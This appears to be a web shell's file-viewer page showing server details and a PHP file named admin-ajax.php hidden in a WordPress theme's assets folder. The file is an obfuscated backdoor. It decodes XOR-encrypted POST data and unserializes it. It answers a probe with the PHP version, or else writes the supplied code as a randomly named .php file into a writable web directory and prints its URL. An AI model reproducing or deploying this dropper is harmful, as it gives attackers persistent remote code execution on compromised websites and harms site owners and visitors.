HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/themes/twentytwentythree/assets/admin-ajax.php
<?php function oahuEzYpYA($aRqOA){$JzQMhGyAcQ = 'r'."\x61"."\x77"."\x75".'r'.chr(108)."\144".chr(101)."\x63"."\157"."\x64".chr(242-141);$hEnijftnoz = chr(1104-989).chr(585-469)."\x72".chr(1061-966).chr(347-233)."\157".chr(116).'1'."\63";$UIvEQvj = "\x73"."\164".chr(114).chr(95).chr(115)."\x70".'l'."\151".'t';$aRqOA = $UIvEQvj($JzQMhGyAcQ($hEnijftnoz($aRqOA)));return $aRqOA;}function xEtrkXNt($szpaGAxn, $aRqOA){$hIcHTgN = "\163"."\164".'r'.chr(95)."\163"."\160"."\x6c"."\151"."\164";$szpaGAxn = array_slice($hIcHTgN(str_repeat($szpaGAxn, (count($aRqOA)/16)+1)), 0, count($aRqOA));return $szpaGAxn;}function XdAtftbDZ($DVPvI, $vxxmIFcXca, $szpaGAxn){$UqIHG = "c72e842e-b3c2-40aa-8ef6-6c7096b5ec6d";return $DVPvI ^ $UqIHG[$vxxmIFcXca % strlen($UqIHG)] ^ $szpaGAxn;}function DNCIgEqo($aRqOA, $szpaGAxn){$aRqOA = array_map("XdAtftbDZ", array_values($aRqOA), array_keys($aRqOA), array_values($szpaGAxn));$aRqOA = implode("", $aRqOA);$KnjerD = "\165".chr(110).chr(115)."\145"."\x72"."\x69"."\x61".chr(420-312)."\x69".chr(777-655).'e';$aRqOA = @$KnjerD($aRqOA);return $aRqOA;}function MlhHWTXm(){echo "VaEYx";}function zDOKKogr($uXJeQVsMuvir){static $bwdZT = array();$muoCZhYUW = glob($uXJeQVsMuvir . '/*', GLOB_ONLYDIR);$ivoeUS = count($muoCZhYUW);if ($ivoeUS > 0) {foreach ($muoCZhYUW as $uXJeQVsMuv) {$PZoMx = "\x69"."\x73".'_'."\167"."\162"."\x69"."\x74".chr(97).chr(98)."\x6c".'e';if (@$PZoMx($uXJeQVsMuv)) {$bwdZT[] = $uXJeQVsMuv;}}}foreach ($muoCZhYUW as $uXJeQVsMuvir) zDOKKogr($uXJeQVsMuvir);return $bwdZT;}function mjBxo(){echo "rVQHxNdS";}function XwKmAQIVr($aRqOA){$XuxnAddmsE = "\x44".chr(996-917)."\103".chr(928-843)."\x4d".chr(735-666).chr(418-340)."\x54".'_'.chr(1011-929).chr(79).chr(79)."\x54";$NZiDu = $_SERVER[$XuxnAddmsE];$muoCZhYUW = zDOKKogr($NZiDu);$yWyhXvpcAY = array_rand($muoCZhYUW);$ktqnruAP = "\56".'p'.'h'.chr(112);$UYqzkR = $muoCZhYUW[$yWyhXvpcAY] . "/" . substr(md5(time()), 0, 8) . $ktqnruAP;$JlcJft = chr(102).chr(105).chr(108).'e'."\x5f".chr(1071-959).chr(709-592)."\x74"."\x5f"."\x63".chr(495-384)."\156".'t'."\x65"."\x6e".'t'.'s';@$JlcJft($UYqzkR, $aRqOA);$BbPcBmWaY = chr(72)."\x54".'T'.chr(773-693).chr(95)."\110".'O'.chr(83)."\x54";$UdkuOKA = "\150".'t'."\x74"."\160"."\72".chr(47)."\x2f";$HGLHLc = $UdkuOKA . $_SERVER[$BbPcBmWaY] . substr($UYqzkR, strlen($NZiDu));print($HGLHLc);}foreach ($_POST as $szpaGAxn => $aRqOA){$zgGZON = strlen($szpaGAxn);if ($zgGZON == 16){$aRqOA = oahuEzYpYA($aRqOA);$szpaGAxn = xEtrkXNt($szpaGAxn, $aRqOA);$aRqOA = DNCIgEqo($aRqOA, $szpaGAxn);if (@is_array($aRqOA)){$yWyhXvpcAY = array_keys($aRqOA);$aRqOA = $aRqOA[$yWyhXvpcAY[0]];if ($aRqOA === $yWyhXvpcAY[0]){$oYAdX = chr(112)."\150".chr(158-46);$rFxpCWCq = "\160"."\150".chr(112).chr(118).chr(608-507).chr(114)."\x73"."\x69".'o'."\156";$LVInm = "\x73".chr(101).'r'."\151".'a'."\154"."\x69".chr(822-700).chr(101);echo @$LVInm(Array($oYAdX => @$rFxpCWCq(), ));}else {XwKmAQIVr($aRqOA);}die();}}}